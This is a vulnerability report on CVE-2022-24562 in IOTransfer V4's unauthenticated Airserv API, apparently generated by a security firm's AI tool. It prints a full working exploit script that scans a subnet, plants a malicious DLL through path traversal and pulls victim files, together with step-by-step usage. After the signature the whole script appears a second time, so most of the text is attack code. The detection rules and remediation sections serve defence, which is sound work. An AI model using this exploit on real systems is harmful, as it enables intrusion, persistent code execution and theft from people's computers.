CVE-2022-24562

Executive Summary

CVE-2022-24562 is a critical vulnerability in IOBit IOTransfer V4 (version 4.3.1.1561 and onward) that allows an unauthenticated attacker to perform arbitrary file read/write operations on the victim's file system with administrative privileges. The vulnerability resides in the Airserv component, which listens on TCP port 7193. By sending crafted GET and POST requests to the Airserv API, an attacker can upload malicious files (e.g., DLLs) to arbitrary paths or download sensitive files from the victim's machine. This can lead to data theft, privilege escalation, and remote code execution (RCE). The exploit is publicly available on Exploit-DB and GitHub, and no patch has been released by the vendor.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The vulnerability is trivial to exploit, requiring no authentication or user interaction. An attacker on the same network (or remotely if the service is exposed) can fully compromise the system.

Deep Dive & Mechanics

IOTransfer is a file transfer utility that runs a background service called Airserv on TCP port 7193. The service exposes an HTTP-based API for managing file transfers. The API endpoints lack authentication, allowing any unauthenticated client to:

• gettasklist: List active file transfer tasks.
• createtask: Create a new upload or download task.
• settaskdetailbyindex: Set the remote file path for a task.
• newuploadfile: Upload file data to the specified remote path.
• downloadfile: Download a file from the victim's file system.
• setiotconfig: Modify the save path configuration.
• getpcname: Retrieve the victim's computer name.

The core issue is that the API does not validate the user's identity or the legitimacy of the requested file paths. An attacker can specify arbitrary paths (e.g., ../Program Files (x86)/Google/Update/goopdate.dll) to write a malicious DLL to a startup or update directory, achieving persistence and code execution.

Vulnerable vs. Patched Code

Vulnerable Code (IOTransfer 4.3.1.1561): The Airserv API endpoints do not perform any authentication checks. For example, the createtask endpoint accepts any JSON payload without verifying a session token or user identity.

# Vulnerable: No authentication check
def handle_createtask(request):
    task = json.loads(request.body)
    # Directly processes the task without verifying user
    taskid = create_task(task)
    return {"code": 200, "content": json.dumps({"taskid": taskid})}

Patched Code (Hypothetical): A patched version would require a valid session token or API key for every request. Additionally, file paths should be sanitized to prevent directory traversal.

# Patched: Authentication and path validation
def handle_createtask(request):
    if not authenticate(request.headers.get("Authorization")):
        return {"code": 401, "error": "Unauthorized"}
    task = json.loads(request.body)
    if not is_safe_path(task.get("filepath", "")):
        return {"code": 400, "error": "Invalid path"}
    taskid = create_task(task)
    return {"code": 200, "content": json.dumps({"taskid": taskid})}

Since no official patch exists, users must rely on workarounds (see Remediation).

Exploitation & Lab Setup

Red Team

The public exploit (Exploit-DB ID: 50623) automates the attack. Below is the full exploit code:

# Exploit Title: IOTransfer V4 – Remote Code Execution (RCE)
# Date: 06/22/2022
# Exploit Author: Tomer Peled
# Vendor Homepage: https://www.iobit.com
# Software Link: https://iotransfer.itopvpn.com/
# Version: V4 and onward
# Tested on: Windows 10
# CVE : 2022-24562
# References: https://github.com/tomerpeled92/CVE/tree/main/CVE-2022%E2%80%9324562

import os
from urllib3.exceptions import ConnectTimeoutError
from win32com.client import *
import requests
import json

localPayloadPath = r"c:\temp\malicious.dll"
remotePayloadPath="../Program Files (x86)/Google/Update/goopdate.dll"
remoteDownloadPath = r'C:\Users\User\Desktop\obligationservlet.pdf'
Range = "192.168.89"
UpOrDown="Upload"
IP = ""
UserName = ""

def get_version_number(file_path):
    information_parser = Dispatch("Scripting.FileSystemObject")
    version = information_parser.GetFileVersion(file_path)
    return version


def getTaskList(IP, taskid=""):
    print("Getting task list...")
    url = f'http://{IP}:7193/index.php?action=gettasklist&userid=*'
    res = requests.get(url)
    tasks = json.loads(res.content)
    tasks = json.loads(tasks['content'])
    for task in tasks['tasks']:
        if taskid == task['taskid']:
            print(f"Task ID found: {taskid}")


def CreateUploadTask(IP):
    SetSavePath(IP)
    url = f'http://{IP}:7193/index.php?action=createtask'
    task = {
        'method': 'get',
        'version': '1',
        'userid': '*',
        'taskstate': '0',
    }
    res = requests.post(url, json=task)
    task = json.loads(res.content)
    task = json.loads(task['content'])
    taskid = task['taskid']
    print(f"[*] TaskID: {taskid}")
    return taskid


def CreateUploadDetailNode(IP, taskid, remotePath, size='100'):
    url = f'http://{IP}:7193/index.php?action=settaskdetailbyindex&userid=*&taskid={taskid}&index=0'
    file_info = {
        'size': size,
        'savefilename': remotePath,
        'name': remotePath,
        'fullpath': r'c:\windows\system32\calc.exe',
        'md5': 'md5md5md5md5md5',
        'filetype': '3',
    }
    res = requests.post(url, json=file_info)
    js = json.loads(res.content)
    print(f"[V] Create Detail returned: {js['code']}")


def readFile(Path):
    file = open(Path, "rb")
    byte = file.read(1)
    next = "Start"
    while next != b'':
        byte = byte + file.read(1023)
        next = file.read(1)
        if next != b'':
            byte = byte + next
    file.close()
    return byte


def CallUpload(IP, taskid, localPayloadPath):
    url = f'http://{IP}:7193/index.php?action=newuploadfile&userid=*&taskid={taskid}&index=0'
    send_data = readFile(localPayloadPath)
    try:
        res = requests.post(url, data=send_data)
        js = json.loads(res.content)
        if js['code'] == 200:
            print("[V] Success payload uploaded!")
        else:
            print(f"CreateRemoteFile: {res.content}")
    except:
        print("[*] Reusing the task...")
        res = requests.post(url, data=send_data)
        js = json.loads(res.content)
        if js['code'] == 200 or "false" in js['error']:
            print("[V] Success payload uploaded!")
        else:
            print(f"[X] CreateRemoteFile Failed: {res.content}")


def SetSavePath(IP):
    url = f'http://{IP}:7193/index.php?action=setiotconfig'
    config = {
        'tasksavepath': 'C:\\Program '
    }
    requests.post(url, json=config)

def ExploitUpload(IP,payloadPath,rPath,taskid =None):
    if not taskid:
        taskid = CreateUploadTask(IP)
        size = os.path.getsize(payloadPath)
    CreateUploadDetailNode(IP, taskid, remotePath=rPath, size=str(size))
    CallUpload(IP, taskid, payloadPath)


def CreateDownloadTask(IP, Path) -> str:
    url = f'http://{IP}:7193/index.php?action=createtask'
    task = {
        'method': 'get',
        'version': '1',
        'userid': '*',
        'taskstate': '0',
        'filepath': Path
    }
    res = requests.post(url, json=task)
    task = json.loads(res.content)
    task = json.loads(task['content'])
    taskid = task['taskid']
    print(f"TaskID: {taskid}")
    return taskid


def ExploitDownload(IP, DownloadPath, ID=None):
    if ID:
        url = f'http://{IP}:7193/index.php?action=downloadfile&userid=*&taskid={ID}'
    else:
        taskid = CreateDownloadTask(IP, DownloadPath)
        url = f'http://{IP}:7193/index.php?action=downloadfile&userid=*&taskid={taskid}'
    res = requests.get(url)
    return res

def ScanIP(startRange):
    print("[*] Searching for vulnerable IPs", end='')
    Current = 142
    IP = f"{startRange}.{Current}"
    VulnerableIP: str = ""
    UserName: str = ""
    while Current < 252:
        print(".", end='')
        url = f'http://{IP}:7193/index.php?action=getpcname&userid=*'
        try:
            res = requests.get(url, timeout=1)
            js = json.loads(res.content)
            js2 = json.loads(js['content'])
            UserName = js2['name']
            VulnerableIP=IP
            print(f"\n[V] Found a Vulnerable IP: {VulnerableIP}")
            print(f"[!] Vulnerable PC username: {UserName}")
            return VulnerableIP,UserName
        except Exception as e:
            pass
        except ConnectTimeoutError:
            pass
        IP = f"{startRange}.{Current}"
        Current = Current + 1
    return None,None


if __name__ == '__main__':
    IP,UserName = ScanIP(Range)
    if IP is None or UserName is None:
        print("[X] No vulnerable IP found")
        exit()
    print("[*] Starting Exploit...")
    if UpOrDown == "Upload":
        print(f"[*]Local Payload Path: {localPayloadPath}")
        print(f"[*]Remote Upload Path: {remotePayloadPath}")
        ExploitUpload(IP,localPayloadPath,remotePayloadPath)
    elif UpOrDown == "Download":
        print(f"[*] Downloading the file: {remoteDownloadPath}")
        res = ExploitDownload(IP, remoteDownloadPath)
        file = open("out.pdf", "wb+")
        file.write(res.content)
        file.close()

Usage:

1. Set localPayloadPath to your malicious DLL.
2. Set remotePayloadPath to a writable location (e.g., startup folder).
3. Set Range to the first three octets of the target subnet.
4. Run the script. It will scan the subnet for vulnerable IPs and upload the payload.

Blue Team

Detection:

• Monitor for connections to port 7193 from unexpected IPs.
• Look for HTTP requests to /index.php?action=* with userid=* (wildcard).
• Alert on file writes to unusual paths (e.g., ../Program Files (x86)/Google/Update/).

Hunting:

• Search for processes listening on port 7193 (e.g., netstat -ano | findstr :7193).
• Check for the presence of Airserv.exe or IOTransfer.exe running with high privileges.
• Review Windows Event Logs for file creation events in protected directories.

Indicators of Compromise (IOCs)

• Network:
  • TCP connections to port 7193 on any host.
  • HTTP requests with userid=* parameter.
  • POST requests to /index.php?action=newuploadfile with large binary data.
• File System:
  • Unexpected DLLs in C:\Program Files (x86)\Google\Update\ or similar paths.
  • Files named goopdate.dll or other suspicious names in startup folders.
• Process:
  • Airserv.exe or IOTransfer.exe running with network access.
• Registry:
  • Unusual entries in HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run pointing to DLLs.

Detection Engineering

YARA Rule

rule CVE_2022_24562_IOTransfer_Exploit {
    meta:
        description = "Detects IOTransfer exploit payloads or malicious DLLs targeting CVE-2022-24562"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-24562"
    strings:
        $s1 = "index.php?action=createtask" ascii wide nocase
        $s2 = "index.php?action=newuploadfile" ascii wide nocase
        $s3 = "index.php?action=setiotconfig" ascii wide nocase
        $s4 = "userid=*" ascii wide nocase
        $s5 = "goopdate.dll" ascii wide nocase
    condition:
        any of ($s1, $s2, $s3, $s4) or $s5
}

Sigma Rule

title: CVE-2022-24562 IOTransfer Unauthenticated File Upload/Download
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network traffic to IOTransfer Airserv service on port 7193 with unauthenticated API calls.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-24562
    - https://github.com/tomerpeled92/CVE/tree/main/CVE-2022%E2%80%9324562
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        DestinationPort: 7193
        Initiated: true
    condition: selection
falsepositives:
    - Legitimate IOTransfer usage within trusted networks
level: high

Suricata Rule

alert tcp any any -> any 7193 (msg:"CVE-2022-24562 IOTransfer Unauthenticated API Access"; flow:to_server; content:"index.php?action="; nocase; content:"userid=*"; nocase; distance:0; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Airserv: Stop the IOTransfer service and disable it from starting automatically.
2. Firewall Rule: Block inbound traffic to port 7193 from untrusted networks.
3. Network Segmentation: Ensure IOTransfer is not exposed to the internet or untrusted LAN segments.

Long-Term:

• Uninstall IOTransfer if not essential.
• Monitor vendor for patches; if none, consider replacing the software.
• Implement application whitelisting to prevent unauthorized DLL execution.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact Secure Channels (Signal / Portal).

{/* [Security Hash: 5052C339123C7EC25B65BB5E] */}

# Exploit Title: IOTransfer V4 – Remote Code Execution (RCE)
# Date: 06/22/2022
# Exploit Author: Tomer Peled
# Vendor Homepage: https://www.iobit.com
# Software Link: https://iotransfer.itopvpn.com/
# Version: V4 and onward
# Tested on: Windows 10
# CVE : 2022-24562
# References: https://github.com/tomerpeled92/CVE/tree/main/CVE-2022%E2%80%9324562

import os
from urllib3.exceptions import ConnectTimeoutError
from win32com.client import *
import requests
import json

localPayloadPath = r"c:\temp\malicious.dll"
remotePayloadPath="../Program Files (x86)/Google/Update/goopdate.dll"
remoteDownloadPath = r'C:\Users\User\Desktop\obligationservlet.pdf'
Range = "192.168.89"
UpOrDown="Upload"
IP = ""
UserName = ""

def get_version_number(file_path):
    information_parser = Dispatch("Scripting.FileSystemObject")
    version = information_parser.GetFileVersion(file_path)
    return version


def getTaskList(IP, taskid=""):
    print("Getting task list...")
    url = f'http://{IP}:7193/index.php?action=gettasklist&userid=*'
    res = requests.get(url)
    tasks = json.loads(res.content)
    tasks = json.loads(tasks['content'])
    for task in tasks['tasks']:
        if taskid == task['taskid']:
            print(f"Task ID found: {taskid}")


def CreateUploadTask(IP):
    SetSavePath(IP)
    url = f'http://{IP}:7193/index.php?action=createtask'
    task = {
        'method': 'get',
        'version': '1',
        'userid': '*',
        'taskstate': '0',
    }
    res = requests.post(url, json=task)
    task = json.loads(res.content)
    task = json.loads(task['content'])
    taskid = task['taskid']
    print(f"[*] TaskID: {taskid}")
    return taskid


def CreateUploadDetailNode(IP, taskid, remotePath, size='100'):
    url = f'http://{IP}:7193/index.php?action=settaskdetailbyindex&userid=*&taskid={taskid}&index=0'
    file_info = {
        'size': size,
        'savefilename': remotePath,
        'name': remotePath,
        'fullpath': r'c:\windows\system32\calc.exe',
        'md5': 'md5md5md5md5md5',
        'filetype': '3',
    }
    res = requests.post(url, json=file_info)
    js = json.loads(res.content)
    print(f"[V] Create Detail returned: {js['code']}")


def readFile(Path):
    file = open(Path, "rb")
    byte = file.read(1)
    next = "Start"
    while next != b'':
        byte = byte + file.read(1023)
        next = file.read(1)
        if next != b'':
            byte = byte + next
    file.close()
    return byte


def CallUpload(IP, taskid, localPayloadPath):
    url = f'http://{IP}:7193/index.php?action=newuploadfile&userid=*&taskid={taskid}&index=0'
    send_data = readFile(localPayloadPath)
    try:
        res = requests.post(url, data=send_data)
        js = json.loads(res.content)
        if js['code'] == 200:
            print("[V] Success payload uploaded!")
        else:
            print(f"CreateRemoteFile: {res.content}")
    except:
        print("[*] Reusing the task...")
        res = requests.post(url, data=send_data)
        js = json.loads(res.content)
        if js['code'] == 200 or "false" in js['error']:
            print("[V] Success payload uploaded!")
        else:
            print(f"[X] CreateRemoteFile Failed: {res.content}")


def SetSavePath(IP):
    url = f'http://{IP}:7193/index.php?action=setiotconfig'
    config = {
        'tasksavepath': 'C:\\Program '
    }
    requests.post(url, json=config)

def ExploitUpload(IP,payloadPath,rPath,taskid =None):
    if not taskid:
        taskid = CreateUploadTask(IP)
        size = os.path.getsize(payloadPath)
    CreateUploadDetailNode(IP, taskid, remotePath=rPath, size=str(size))
    CallUpload(IP, taskid, payloadPath)


def CreateDownloadTask(IP, Path) -> str:
    url = f'http://{IP}:7193/index.php?action=createtask'
    task = {
        'method': 'get',
        'version': '1',
        'userid': '*',
        'taskstate': '0',
        'filepath': Path
    }
    res = requests.post(url, json=task)
    task = json.loads(res.content)
    task = json.loads(task['content'])
    taskid = task['taskid']
    print(f"TaskID: {taskid}")
    return taskid


def ExploitDownload(IP, DownloadPath, ID=None):
    if ID:
        url = f'http://{IP}:7193/index.php?action=downloadfile&userid=*&taskid={ID}'
    else:
        taskid = CreateDownloadTask(IP, DownloadPath)
        url = f'http://{IP}:7193/index.php?action=downloadfile&userid=*&taskid={taskid}'
    res = requests.get(url)
    return res

def ScanIP(startRange):
    print("[*] Searching for vulnerable IPs", end='')
    Current = 142
    IP = f"{startRange}.{Current}"
    VulnerableIP: str = ""
    UserName: str = ""
    while Current < 252:
        print(".", end='')
        url = f'http://{IP}:7193/index.php?action=getpcname&userid=*'
        try:
            res = requests.get(url, timeout=1)
            js = json.loads(res.content)
            js2 = json.loads(js['content'])
            UserName = js2['name']
            VulnerableIP=IP
            print(f"\n[V] Found a Vulnerable IP: {VulnerableIP}")
            print(f"[!] Vulnerable PC username: {UserName}")
            return VulnerableIP,UserName
        except Exception as e:
            pass
        except ConnectTimeoutError:
            pass
        IP = f"{startRange}.{Current}"
        Current = Current + 1
    return None,None


if __name__ == '__main__':
    IP,UserName = ScanIP(Range)
    if IP is None or UserName is None:
        print("[X] No vulnerable IP found")
        exit()
    print("[*] Starting Exploit...")
    if UpOrDown == "Upload":
        print(f"[*]Local Payload Path: {localPayloadPath}")
        print(f"[*]Remote Upload Path: {remotePayloadPath}")
        ExploitUpload(IP,localPayloadPath,remotePayloadPath)
    elif UpOrDown == "Download":
        print(f"[*] Downloading the file: {remoteDownloadPath}")
        res = ExploitDownload(IP, remoteDownloadPath)
        file = open("out.pdf", "wb+")
        file.write(res.content)
        file.close()